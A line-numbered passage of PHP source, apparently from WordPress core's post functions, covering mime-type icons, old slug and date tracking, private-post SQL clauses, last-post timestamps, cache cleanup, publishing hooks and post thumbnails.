5601 * @param array $uris List of icon directory URIs.
5602 */
5603 $dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) );
5604 $icon_files = array();
5605 while ( $dirs ) {
5606 $keys = array_keys( $dirs );
5607 $dir = array_shift( $keys );
5608 $uri = array_shift($dirs);
5609 if ( $dh = opendir($dir) ) {
5610 while ( false !== $file = readdir($dh) ) {
5611 $file = basename($file);
5612 if ( substr($file, 0, 1) == '.' )
5613 continue;
5614 if ( !in_array(strtolower(substr($file, -4)), array('.png', '.gif', '.jpg') ) ) {
5615 if ( is_dir("$dir/$file") )
5616 $dirs["$dir/$file"] = "$uri/$file";
5617 continue;
5618 }
5619 $icon_files["$dir/$file"] = "$uri/$file";
5620 }
5621 closedir($dh);
5622 }
5623 }
5624 wp_cache_add( 'icon_files', $icon_files, 'default', 600 );
5625 }
5626
5627 $types = array();
5628 // Icon basename - extension = MIME wildcard.
5629 foreach ( $icon_files as $file => $uri )
5630 $types[ preg_replace('/^([^.]*).*$/', '$1', basename($file)) ] =& $icon_files[$file];
5631
5632 if ( ! empty($mime) ) {
5633 $post_mimes[] = substr($mime, 0, strpos($mime, '/'));
5634 $post_mimes[] = substr($mime, strpos($mime, '/') + 1);
5635 $post_mimes[] = str_replace('/', '_', $mime);
5636 }
5637
5638 $matches = wp_match_mime_types(array_keys($types), $post_mimes);
5639 $matches['default'] = array('default');
5640
5641 foreach ( $matches as $match => $wilds ) {
5642 foreach ( $wilds as $wild ) {
5643 if ( ! isset( $types[ $wild ] ) ) {
5644 continue;
5645 }
5646
5647 $icon = $types[ $wild ];
5648 if ( ! is_numeric( $mime ) ) {
5649 wp_cache_add( "mime_type_icon_$mime", $icon );
5650 }
5651 break 2;
5652 }
5653 }
5654 }
5655
5656 /**
5657 * Filters the mime type icon.
5658 *
5659 * @since 2.1.0
5660 *
5661 * @param string $icon Path to the mime type icon.
5662 * @param string $mime Mime type.
5663 * @param int $post_id Attachment ID. Will equal 0 if the function passed
5664 * the mime type.
5665 */
5666 return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id );
5667}
5668
5669/**
5670 * Check for changed slugs for published post objects and save the old slug.
5671 *
5672 * The function is used when a post object of any type is updated,
5673 * by comparing the current and previous post objects.
5674 *
5675 * If the slug was changed and not already part of the old slugs then it will be
5676 * added to the post meta field ('_wp_old_slug') for storing old slugs for that
5677 * post.
5678 *
5679 * The most logically usage of this function is redirecting changed post objects, so
5680 * that those that linked to an changed post will be redirected to the new post.
5681 *
5682 * @since 2.1.0
5683 *
5684 * @param int $post_id Post ID.
5685 * @param WP_Post $post The Post Object
5686 * @param WP_Post $post_before The Previous Post Object
5687 */
5688function wp_check_for_changed_slugs( $post_id, $post, $post_before ) {
5689 // Don't bother if it hasn't changed.
5690 if ( $post->post_name == $post_before->post_name ) {
5691 return;
5692 }
5693
5694 // We're only concerned with published, non-hierarchical objects.
5695 if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
5696 return;
5697 }
5698
5699 $old_slugs = (array) get_post_meta( $post_id, '_wp_old_slug' );
5700
5701 // If we haven't added this old slug before, add it now.
5702 if ( ! empty( $post_before->post_name ) && ! in_array( $post_before->post_name, $old_slugs ) ) {
5703 add_post_meta( $post_id, '_wp_old_slug', $post_before->post_name );
5704 }
5705
5706 // If the new slug was used previously, delete it from the list.
5707 if ( in_array( $post->post_name, $old_slugs ) ) {
5708 delete_post_meta( $post_id, '_wp_old_slug', $post->post_name );
5709 }
5710}
5711
5712/**
5713 * Check for changed dates for published post objects and save the old date.
5714 *
5715 * The function is used when a post object of any type is updated,
5716 * by comparing the current and previous post objects.
5717 *
5718 * If the date was changed and not already part of the old dates then it will be
5719 * added to the post meta field ('_wp_old_date') for storing old dates for that
5720 * post.
5721 *
5722 * The most logically usage of this function is redirecting changed post objects, so
5723 * that those that linked to an changed post will be redirected to the new post.
5724 *
5725 * @since 4.9.3
5726 *
5727 * @param int $post_id Post ID.
5728 * @param WP_Post $post The Post Object
5729 * @param WP_Post $post_before The Previous Post Object
5730 */
5731function wp_check_for_changed_dates( $post_id, $post, $post_before ) {
5732 $previous_date = date( 'Y-m-d', strtotime( $post_before->post_date ) );
5733 $new_date = date( 'Y-m-d', strtotime( $post->post_date ) );
5734 // Don't bother if it hasn't changed.
5735 if ( $new_date == $previous_date ) {
5736 return;
5737 }
5738 // We're only concerned with published, non-hierarchical objects.
5739 if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
5740 return;
5741 }
5742 $old_dates = (array) get_post_meta( $post_id, '_wp_old_date' );
5743 // If we haven't added this old date before, add it now.
5744 if ( ! empty( $previous_date ) && ! in_array( $previous_date, $old_dates ) ) {
5745 add_post_meta( $post_id, '_wp_old_date', $previous_date );
5746 }
5747 // If the new slug was used previously, delete it from the list.
5748 if ( in_array( $new_date, $old_dates ) ) {
5749 delete_post_meta( $post_id, '_wp_old_date', $new_date );
5750 }
5751}
5752
5753/**
5754 * Retrieve the private post SQL based on capability.
5755 *
5756 * This function provides a standardized way to appropriately select on the
5757 * post_status of a post type. The function will return a piece of SQL code
5758 * that can be added to a WHERE clause; this SQL is constructed to allow all
5759 * published posts, and all private posts to which the user has access.
5760 *
5761 * @since 2.2.0
5762 * @since 4.3.0 Added the ability to pass an array to `$post_type`.
5763 *
5764 * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'.
5765 * @return string SQL code that can be added to a where clause.
5766 */
5767function get_private_posts_cap_sql( $post_type ) {
5768 return get_posts_by_author_sql( $post_type, false );
5769}
5770
5771/**
5772 * Retrieve the post SQL based on capability, author, and type.
5773 *
5774 * @since 3.0.0
5775 * @since 4.3.0 Introduced the ability to pass an array of post types to `$post_type`.
5776 *
5777 * @see get_private_posts_cap_sql()
5778 * @global wpdb $wpdb WordPress database abstraction object.
5779 *
5780 * @param array|string $post_type Single post type or an array of post types.
5781 * @param bool $full Optional. Returns a full WHERE statement instead of just
5782 * an 'andalso' term. Default true.
5783 * @param int $post_author Optional. Query posts having a single author ID. Default null.
5784 * @param bool $public_only Optional. Only return public posts. Skips cap checks for
5785 * $current_user. Default false.
5786 * @return string SQL WHERE code that can be added to a query.
5787 */
5788function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) {
5789 global $wpdb;
5790
5791 if ( is_array( $post_type ) ) {
5792 $post_types = $post_type;
5793 } else {
5794 $post_types = array( $post_type );
5795 }
5796
5797 $post_type_clauses = array();
5798 foreach ( $post_types as $post_type ) {
5799 $post_type_obj = get_post_type_object( $post_type );
5800 if ( ! $post_type_obj ) {
5801 continue;
5802 }
5803
5804 /**
5805 * Filters the capability to read private posts for a custom post type
5806 * when generating SQL for getting posts by author.
5807 *
5808 * @since 2.2.0
5809 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless".
5810 *
5811 * @param string $cap Capability.
5812 */
5813 if ( ! $cap = apply_filters( 'pub_priv_sql_capability', '' ) ) {
5814 $cap = current_user_can( $post_type_obj->cap->read_private_posts );
5815 }
5816
5817 // Only need to check the cap if $public_only is false.
5818 $post_status_sql = "post_status = 'publish'";
5819 if ( false === $public_only ) {
5820 if ( $cap ) {
5821 // Does the user have the capability to view private posts? Guess so.
5822 $post_status_sql .= " OR post_status = 'private'";
5823 } elseif ( is_user_logged_in() ) {
5824 // Users can view their own private posts.
5825 $id = get_current_user_id();
5826 if ( null === $post_author || ! $full ) {
5827 $post_status_sql .= " OR post_status = 'private' AND post_author = $id";
5828 } elseif ( $id == (int) $post_author ) {
5829 $post_status_sql .= " OR post_status = 'private'";
5830 } // else none
5831 } // else none
5832 }
5833
5834 $post_type_clauses[] = "( post_type = '" . $post_type . "' AND ( $post_status_sql ) )";
5835 }
5836
5837 if ( empty( $post_type_clauses ) ) {
5838 return $full ? 'WHERE 1 = 0' : '1 = 0';
5839 }
5840
5841 $sql = '( '. implode( ' OR ', $post_type_clauses ) . ' )';
5842
5843 if ( null !== $post_author ) {
5844 $sql .= $wpdb->prepare( ' AND post_author = %d', $post_author );
5845 }
5846
5847 if ( $full ) {
5848 $sql = 'WHERE ' . $sql;
5849 }
5850
5851 return $sql;
5852}
5853
5854/**
5855 * Retrieve the date that the last post was published.
5856 *
5857 * The server timezone is the default and is the difference between GMT and
5858 * server time. The 'blog' value is the date when the last post was posted. The
5859 * 'gmt' is when the last post was posted in GMT formatted date.
5860 *
5861 * @since 0.71
5862 * @since 4.4.0 The `$post_type` argument was added.
5863 *
5864 * @param string $timezone Optional. The timezone for the timestamp. Accepts 'server', 'blog', or 'gmt'.
5865 * 'server' uses the server's internal timezone.
5866 * 'blog' uses the `post_modified` field, which proxies to the timezone set for the site.
5867 * 'gmt' uses the `post_modified_gmt` field.
5868 * Default 'server'.
5869 * @param string $post_type Optional. The post type to check. Default 'any'.
5870 * @return string The date of the last post.
5871 */
5872function get_lastpostdate( $timezone = 'server', $post_type = 'any' ) {
5873 /**
5874 * Filters the date the last post was published.
5875 *
5876 * @since 2.3.0
5877 *
5878 * @param string $date Date the last post was published.
5879 * @param string $timezone Location to use for getting the post published date.
5880 * See get_lastpostdate() for accepted `$timezone` values.
5881 */
5882 return apply_filters( 'get_lastpostdate', _get_last_post_time( $timezone, 'date', $post_type ), $timezone );
5883}
5884
5885/**
5886 * Get the timestamp of the last time any post was modified.
5887 *
5888 * The server timezone is the default and is the difference between GMT and
5889 * server time. The 'blog' value is just when the last post was modified. The
5890 * 'gmt' is when the last post was modified in GMT time.
5891 *
5892 * @since 1.2.0
5893 * @since 4.4.0 The `$post_type` argument was added.
5894 *
5895 * @param string $timezone Optional. The timezone for the timestamp. See get_lastpostdate()
5896 * for information on accepted values.
5897 * Default 'server'.
5898 * @param string $post_type Optional. The post type to check. Default 'any'.
5899 * @return string The timestamp.
5900 */
5901function get_lastpostmodified( $timezone = 'server', $post_type = 'any' ) {
5902 /**
5903 * Pre-filter the return value of get_lastpostmodified() before the query is run.
5904 *
5905 * @since 4.4.0
5906 *
5907 * @param string $lastpostmodified Date the last post was modified.
5908 * Returning anything other than false will short-circuit the function.
5909 * @param string $timezone Location to use for getting the post modified date.
5910 * See get_lastpostdate() for accepted `$timezone` values.
5911 * @param string $post_type The post type to check.
5912 */
5913 $lastpostmodified = apply_filters( 'pre_get_lastpostmodified', false, $timezone, $post_type );
5914 if ( false !== $lastpostmodified ) {
5915 return $lastpostmodified;
5916 }
5917
5918 $lastpostmodified = _get_last_post_time( $timezone, 'modified', $post_type );
5919
5920 $lastpostdate = get_lastpostdate($timezone);
5921 if ( $lastpostdate > $lastpostmodified ) {
5922 $lastpostmodified = $lastpostdate;
5923 }
5924
5925 /**
5926 * Filters the date the last post was modified.
5927 *
5928 * @since 2.3.0
5929 *
5930 * @param string $lastpostmodified Date the last post was modified.
5931 * @param string $timezone Location to use for getting the post modified date.
5932 * See get_lastpostdate() for accepted `$timezone` values.
5933 */
5934 return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone );
5935}
5936
5937/**
5938 * Get the timestamp of the last time any post was modified or published.
5939 *
5940 * @since 3.1.0
5941 * @since 4.4.0 The `$post_type` argument was added.
5942 * @access private
5943 *
5944 * @global wpdb $wpdb WordPress database abstraction object.
5945 *
5946 * @param string $timezone The timezone for the timestamp. See get_lastpostdate().
5947 * for information on accepted values.
5948 * @param string $field Post field to check. Accepts 'date' or 'modified'.
5949 * @param string $post_type Optional. The post type to check. Default 'any'.
5950 * @return string|false The timestamp.
5951 */
5952function _get_last_post_time( $timezone, $field, $post_type = 'any' ) {
5953 global $wpdb;
5954
5955 if ( ! in_array( $field, array( 'date', 'modified' ) ) ) {
5956 return false;
5957 }
5958
5959 $timezone = strtolower( $timezone );
5960
5961 $key = "lastpost{$field}:$timezone";
5962 if ( 'any' !== $post_type ) {
5963 $key .= ':' . sanitize_key( $post_type );
5964 }
5965
5966 $date = wp_cache_get( $key, 'timeinfo' );
5967 if ( false !== $date ) {
5968 return $date;
5969 }
5970
5971 if ( 'any' === $post_type ) {
5972 $post_types = get_post_types( array( 'public' => true ) );
5973 array_walk( $post_types, array( $wpdb, 'escape_by_ref' ) );
5974 $post_types = "'" . implode( "', '", $post_types ) . "'";
5975 } else {
5976 $post_types = "'" . sanitize_key( $post_type ) . "'";
5977 }
5978
5979 switch ( $timezone ) {
5980 case 'gmt':
5981 $date = $wpdb->get_var("SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
5982 break;
5983 case 'blog':
5984 $date = $wpdb->get_var("SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
5985 break;
5986 case 'server':
5987 $add_seconds_server = date( 'Z' );
5988 $date = $wpdb->get_var("SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
5989 break;
5990 }
5991
5992 if ( $date ) {
5993 wp_cache_set( $key, $date, 'timeinfo' );
5994
5995 return $date;
5996 }
5997
5998 return false;
5999}
6000
6001/**
6002 * Updates posts in cache.
6003 *
6004 * @since 1.5.1
6005 *
6006 * @param array $posts Array of post objects (passed by reference).
6007 */
6008function update_post_cache( &$posts ) {
6009 if ( ! $posts )
6010 return;
6011
6012 foreach ( $posts as $post )
6013 wp_cache_add( $post->ID, $post, 'posts' );
6014}
6015
6016/**
6017 * Will clean the post in the cache.
6018 *
6019 * Cleaning means delete from the cache of the post. Will call to clean the term
6020 * object cache associated with the post ID.
6021 *
6022 * This function not run if $_wp_suspend_cache_invalidation is not empty. See
6023 * wp_suspend_cache_invalidation().
6024 *
6025 * @since 2.0.0
6026 *
6027 * @global bool $_wp_suspend_cache_invalidation
6028 *
6029 * @param int|WP_Post $post Post ID or post object to remove from the cache.
6030 */
6031function clean_post_cache( $post ) {
6032 global $_wp_suspend_cache_invalidation;
6033
6034 if ( ! empty( $_wp_suspend_cache_invalidation ) )
6035 return;
6036
6037 $post = get_post( $post );
6038 if ( empty( $post ) )
6039 return;
6040
6041 wp_cache_delete( $post->ID, 'posts' );
6042 wp_cache_delete( $post->ID, 'post_meta' );
6043
6044 clean_object_term_cache( $post->ID, $post->post_type );
6045
6046 wp_cache_delete( 'wp_get_archives', 'general' );
6047
6048 /**
6049 * Fires immediately after the given post's cache is cleaned.
6050 *
6051 * @since 2.5.0
6052 *
6053 * @param int $post_id Post ID.
6054 * @param WP_Post $post Post object.
6055 */
6056 do_action( 'clean_post_cache', $post->ID, $post );
6057
6058 if ( 'page' == $post->post_type ) {
6059 wp_cache_delete( 'all_page_ids', 'posts' );
6060
6061 /**
6062 * Fires immediately after the given page's cache is cleaned.
6063 *
6064 * @since 2.5.0
6065 *
6066 * @param int $post_id Post ID.
6067 */
6068 do_action( 'clean_page_cache', $post->ID );
6069 }
6070
6071 wp_cache_set( 'last_changed', microtime(), 'posts' );
6072}
6073
6074/**
6075 * Call major cache updating functions for list of Post objects.
6076 *
6077 * @since 1.5.0
6078 *
6079 * @param array $posts Array of Post objects
6080 * @param string $post_type Optional. Post type. Default 'post'.
6081 * @param bool $update_term_cache Optional. Whether to update the term cache. Default true.
6082 * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true.
6083 */
6084function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) {
6085 // No point in doing all this work if we didn't match any posts.
6086 if ( !$posts )
6087 return;
6088
6089 update_post_cache($posts);
6090
6091 $post_ids = array();
6092 foreach ( $posts as $post )
6093 $post_ids[] = $post->ID;
6094
6095 if ( ! $post_type )
6096 $post_type = 'any';
6097
6098 if ( $update_term_cache ) {
6099 if ( is_array($post_type) ) {
6100 $ptypes = $post_type;
6101 } elseif ( 'any' == $post_type ) {
6102 $ptypes = array();
6103 // Just use the post_types in the supplied posts.
6104 foreach ( $posts as $post ) {
6105 $ptypes[] = $post->post_type;
6106 }
6107 $ptypes = array_unique($ptypes);
6108 } else {
6109 $ptypes = array($post_type);
6110 }
6111
6112 if ( ! empty($ptypes) )
6113 update_object_term_cache($post_ids, $ptypes);
6114 }
6115
6116 if ( $update_meta_cache )
6117 update_postmeta_cache($post_ids);
6118}
6119
6120/**
6121 * Updates metadata cache for list of post IDs.
6122 *
6123 * Performs SQL query to retrieve the metadata for the post IDs and updates the
6124 * metadata cache for the posts. Therefore, the functions, which call this
6125 * function, do not need to perform SQL queries on their own.
6126 *
6127 * @since 2.1.0
6128 *
6129 * @param array $post_ids List of post IDs.
6130 * @return array|false Returns false if there is nothing to update or an array
6131 * of metadata.
6132 */
6133function update_postmeta_cache( $post_ids ) {
6134 return update_meta_cache('post', $post_ids);
6135}
6136
6137/**
6138 * Will clean the attachment in the cache.
6139 *
6140 * Cleaning means delete from the cache. Optionally will clean the term
6141 * object cache associated with the attachment ID.
6142 *
6143 * This function will not run if $_wp_suspend_cache_invalidation is not empty.
6144 *
6145 * @since 3.0.0
6146 *
6147 * @global bool $_wp_suspend_cache_invalidation
6148 *
6149 * @param int $id The attachment ID in the cache to clean.
6150 * @param bool $clean_terms Optional. Whether to clean terms cache. Default false.
6151 */
6152function clean_attachment_cache( $id, $clean_terms = false ) {
6153 global $_wp_suspend_cache_invalidation;
6154
6155 if ( !empty($_wp_suspend_cache_invalidation) )
6156 return;
6157
6158 $id = (int) $id;
6159
6160 wp_cache_delete($id, 'posts');
6161 wp_cache_delete($id, 'post_meta');
6162
6163 if ( $clean_terms )
6164 clean_object_term_cache($id, 'attachment');
6165
6166 /**
6167 * Fires after the given attachment's cache is cleaned.
6168 *
6169 * @since 3.0.0
6170 *
6171 * @param int $id Attachment ID.
6172 */
6173 do_action( 'clean_attachment_cache', $id );
6174}
6175
6176//
6177// Hooks
6178//
6179
6180/**
6181 * Hook for managing future post transitions to published.
6182 *
6183 * @since 2.3.0
6184 * @access private
6185 *
6186 * @see wp_clear_scheduled_hook()
6187 * @global wpdb $wpdb WordPress database abstraction object.
6188 *
6189 * @param string $new_status New post status.
6190 * @param string $old_status Previous post status.
6191 * @param WP_Post $post Post object.
6192 */
6193function _transition_post_status( $new_status, $old_status, $post ) {
6194 global $wpdb;
6195
6196 if ( $old_status != 'publish' && $new_status == 'publish' ) {
6197 // Reset GUID if transitioning to publish and it is empty.
6198 if ( '' == get_the_guid($post->ID) )
6199 $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) );
6200
6201 /**
6202 * Fires when a post's status is transitioned from private to published.
6203 *
6204 * @since 1.5.0
6205 * @deprecated 2.3.0 Use 'private_to_publish' instead.
6206 *
6207 * @param int $post_id Post ID.
6208 */
6209 do_action('private_to_published', $post->ID);
6210 }
6211
6212 // If published posts changed clear the lastpostmodified cache.
6213 if ( 'publish' == $new_status || 'publish' == $old_status) {
6214 foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
6215 wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' );
6216 wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' );
6217 wp_cache_delete( "lastpostdate:$timezone:{$post->post_type}", 'timeinfo' );
6218 }
6219 }
6220
6221 if ( $new_status !== $old_status ) {
6222 wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' );
6223 wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' );
6224 }
6225
6226 // Always clears the hook in case the post status bounced from future to draft.
6227 wp_clear_scheduled_hook('publish_future_post', array( $post->ID ) );
6228}
6229
6230/**
6231 * Hook used to schedule publication for a post marked for the future.
6232 *
6233 * The $post properties used and must exist are 'ID' and 'post_date_gmt'.
6234 *
6235 * @since 2.3.0
6236 * @access private
6237 *
6238 * @param int $deprecated Not used. Can be set to null. Never implemented. Not marked
6239 * as deprecated with _deprecated_argument() as it conflicts with
6240 * wp_transition_post_status() and the default filter for _future_post_hook().
6241 * @param WP_Post $post Post object.
6242 */
6243function _future_post_hook( $deprecated, $post ) {
6244 wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) );
6245 wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT') , 'publish_future_post', array( $post->ID ) );
6246}
6247
6248/**
6249 * Hook to schedule pings and enclosures when a post is published.
6250 *
6251 * Uses XMLRPC_REQUEST and WP_IMPORTING constants.
6252 *
6253 * @since 2.3.0
6254 * @access private
6255 *
6256 * @param int $post_id The ID in the database table of the post being published.
6257 */
6258function _publish_post_hook( $post_id ) {
6259 if ( defined( 'XMLRPC_REQUEST' ) ) {
6260 /**
6261 * Fires when _publish_post_hook() is called during an XML-RPC request.
6262 *
6263 * @since 2.1.0
6264 *
6265 * @param int $post_id Post ID.
6266 */
6267 do_action( 'xmlrpc_publish_post', $post_id );
6268 }
6269
6270 if ( defined('WP_IMPORTING') )
6271 return;
6272
6273 if ( get_option('default_pingback_flag') )
6274 add_post_meta( $post_id, '_pingme', '1' );
6275 add_post_meta( $post_id, '_encloseme', '1' );
6276
6277 if ( ! wp_next_scheduled( 'do_pings' ) ) {
6278 wp_schedule_single_event( time(), 'do_pings' );
6279 }
6280}
6281
6282/**
6283 * Return the post's parent's post_ID
6284 *
6285 * @since 3.1.0
6286 *
6287 * @param int $post_ID
6288 *
6289 * @return int|false Post parent ID, otherwise false.
6290 */
6291function wp_get_post_parent_id( $post_ID ) {
6292 $post = get_post( $post_ID );
6293 if ( !$post || is_wp_error( $post ) )
6294 return false;
6295 return (int) $post->post_parent;
6296}
6297
6298/**
6299 * Check the given subset of the post hierarchy for hierarchy loops.
6300 *
6301 * Prevents loops from forming and breaks those that it finds. Attached
6302 * to the {@see 'wp_insert_post_parent'} filter.
6303 *
6304 * @since 3.1.0
6305 *
6306 * @see wp_find_hierarchy_loop()
6307 *
6308 * @param int $post_parent ID of the parent for the post we're checking.
6309 * @param int $post_ID ID of the post we're checking.
6310 * @return int The new post_parent for the post, 0 otherwise.
6311 */
6312function wp_check_post_hierarchy_for_loops( $post_parent, $post_ID ) {
6313 // Nothing fancy here - bail.
6314 if ( !$post_parent )
6315 return 0;
6316
6317 // New post can't cause a loop.
6318 if ( empty( $post_ID ) )
6319 return $post_parent;
6320
6321 // Can't be its own parent.
6322 if ( $post_parent == $post_ID )
6323 return 0;
6324
6325 // Now look for larger loops.
6326 if ( !$loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_ID, $post_parent ) )
6327 return $post_parent; // No loop
6328
6329 // Setting $post_parent to the given value causes a loop.
6330 if ( isset( $loop[$post_ID] ) )
6331 return 0;
6332
6333 // There's a loop, but it doesn't contain $post_ID. Break the loop.
6334 foreach ( array_keys( $loop ) as $loop_member )
6335 wp_update_post( array( 'ID' => $loop_member, 'post_parent' => 0 ) );
6336
6337 return $post_parent;
6338}
6339
6340/**
6341 * Set a post thumbnail.
6342 *
6343 * @since 3.1.0
6344 *
6345 * @param int|WP_Post $post Post ID or post object where thumbnail should be attached.
6346 * @param int $thumbnail_id Thumbnail to attach.
6347 * @return int|bool True on success, false on failure.
6348 */
6349function set_post_thumbnail( $post, $thumbnail_id ) {
6350 $post = get_post( $post );
6351 $thumbnail_id = absint( $thumbnail_id );
6352 if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) {
6353 if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) )
6354 return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id );
6355 else
6356 return delete_post_meta( $post->ID, '_thumbnail_id' );
6357 }
6358 return false;
6359}
6360
6361/**
6362 * Remove a post thumbnail.
6363 *
6364 * @since 3.3.0
6365 *
6366 * @param int|WP_Post $post Post ID or post object where thumbnail should be removed from.
6367 * @return bool True on success, false on failure.
6368 */
6369function delete_post_thumbnail( $post ) {
6370 $post = get_post( $post );
6371 if ( $post )
6372 return delete_post_meta( $post->ID, '_thumbnail_id' );
6373 return false;
6374}
6375
6376/**
6377 * Delete auto-drafts for new posts that are > 7 days old.
6378 *
6379 * @since 3.4.0
6380 *
6381 * @global wpdb $wpdb WordPress database abstraction object.
6382 */
6383function wp_delete_auto_drafts() {
6384 global $wpdb;
6385
6386 // Cleanup old auto-drafts more than 7 days old.
6387 $old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" );
6388 foreach ( (array) $old_posts as $delete ) {
6389 // Force delete.
6390 wp_delete_post( $delete, true );
6391 }
6392}
6393
6394/**
6395 * Queues posts for lazy-loading of term meta.
6396 *
6397 * @since 4.5.0
6398 *
6399 * @param array $posts Array of WP_Post objects.
6400 */
6401function wp_queue_posts_for_term_meta_lazyload( $posts ) {
6402 $post_type_taxonomies = $term_ids = array();
6403 foreach ( $posts as $post ) {
6404 if ( ! ( $post instanceof WP_Post ) ) {
6405 continue;
6406 }
6407
6408 if ( ! isset( $post_type_taxonomies[ $post->post_type ] ) ) {
6409 $post_type_taxonomies[ $post->post_type ] = get_object_taxonomies( $post->post_type );
6410 }
6411
6412 foreach ( $post_type_taxonomies[ $post->post_type ] as $taxonomy ) {
6413 // Term cache should already be primed by `update_post_term_cache()`.
6414 $terms = get_object_term_cache( $post->ID, $taxonomy );
6415 if ( false !== $terms ) {
6416 foreach ( $terms as $term ) {
6417 if ( ! isset( $term_ids[ $term->term_id ] ) ) {
6418 $term_ids[] = $term->term_id;
6419 }
6420 }
6421 }
6422 }
6423 }
6424
6425 if ( $term_ids ) {
6426 $lazyloader = wp_metadata_lazyloader();
6427 $lazyloader->queue_objects( 'term', $term_ids );
6428 }
6429}
6430
6431/**
6432 * Update the custom taxonomies' term counts when a post's status is changed.
6433 *
6434 * For example, default posts term counts (for custom taxonomies) don't include
6435 * private / draft posts.
6436 *
6437 * @since 3.3.0
6438 * @access private
6439 *
6440 * @param string $new_status New post status.
6441 * @param string $old_status Old post status.
6442 * @param WP_Post $post Post object.
6443 */
6444function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) {
6445 // Update counts for the post's terms.
6446 foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) {
6447 $tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) );
6448 wp_update_term_count( $tt_ids, $taxonomy );
6449 }
6450}
6451
6452/**
6453 * Adds any posts from the given ids to the cache that do not already exist in cache
6454 *
6455 * @since 3.4.0
6456 * @access private
6457 *
6458 * @see update_post_caches()
6459 *
6460 * @global wpdb $wpdb WordPress database abstraction object.
6461 *
6462 * @param array $ids ID list.
6463 * @param bool $update_term_cache Optional. Whether to update the term cache. Default true.
6464 * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true.
6465 */
6466function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) {
6467 global $wpdb;
6468
6469 $non_cached_ids = _get_non_cached_ids( $ids, 'posts' );
6470 if ( !empty( $non_cached_ids ) ) {
6471 $fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", join( ",", $non_cached_ids ) ) );
6472
6473 update_post_caches( $fresh_posts, 'any', $update_term_cache, $update_meta_cache );
6474 }
6475}
6476
6477/**
6478 * Adds a suffix if any trashed posts have a given slug.
6479 *
6480 * Store its desired (i.e. current) slug so it can try to reclaim it
6481 * if the post is untrashed.
6482 *
6483 * For internal use.
6484 *
6485 * @since 4.5.0
6486 * @access private
6487 *
6488 * @param string $post_name Slug.
6489 * @param string $post_ID Optional. Post ID that should be ignored. Default 0.
6490 */
6491function wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID = 0 ) {
6492 $trashed_posts_with_desired_slug = get_posts( array(
6493 'name' => $post_name,
6494 'post_status' => 'trash',
6495 'post_type' => 'any',
6496 'nopaging' => true,
6497 'post__not_in' => array( $post_ID )
6498 ) );
6499
6500 if ( ! empty( $trashed_posts_with_desired_slug ) ) {
6501 foreach ( $trashed_posts_with_desired_slug as $_post ) {
6502 wp_add_trashed_suffix_to_post_name_for_post( $_post );
6503 }
6504 }
6505}
6506
6507/**
6508 * Adds a trashed suffix for a given post.
6509 *
6510 * Store its desired (i.e. current) slug so it can try to reclaim it
6511 * if the post is untrashed.
6512 *
6513 * For internal use.
6514 *
6515 * @since 4.5.0
6516 * @access private
6517 *
6518 * @param WP_Post $post The post.
6519 * @return string New slug for the post.
6520 */
6521function wp_add_trashed_suffix_to_post_name_for_post( $post ) {
6522 global $wpdb;
6523
6524 $post = get_post( $post );
6525
6526 if ( '__trashed' === substr( $post->post_name, -9 ) ) {
6527 return $post->post_name;
6528 }
6529 add_post_meta( $post->ID, '_wp_desired_post_slug', $post->post_name );
6530 $post_name = _truncate_post_slug( $post->post_name, 191 ) . '__trashed';
6531 $wpdb->update( $wpdb->posts, array( 'post_name' => $post_name ), array( 'ID' => $post->ID ) );
6532 clean_post_cache( $post->ID );
6533 return $post_name;
6534}
6535
6536/**
6537 * Filter the SQL clauses of an attachment query to include filenames.
6538 *
6539 * @since 4.7.0
6540 * @access private
6541 *
6542 * @global wpdb $wpdb WordPress database abstraction object.
6543 *
6544 * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY,
6545 * DISTINCT, fields (SELECT), and LIMITS clauses.
6546 * @return array The modified clauses.
6547 */
6548function _filter_query_attachment_filenames( $clauses ) {
6549 global $wpdb;
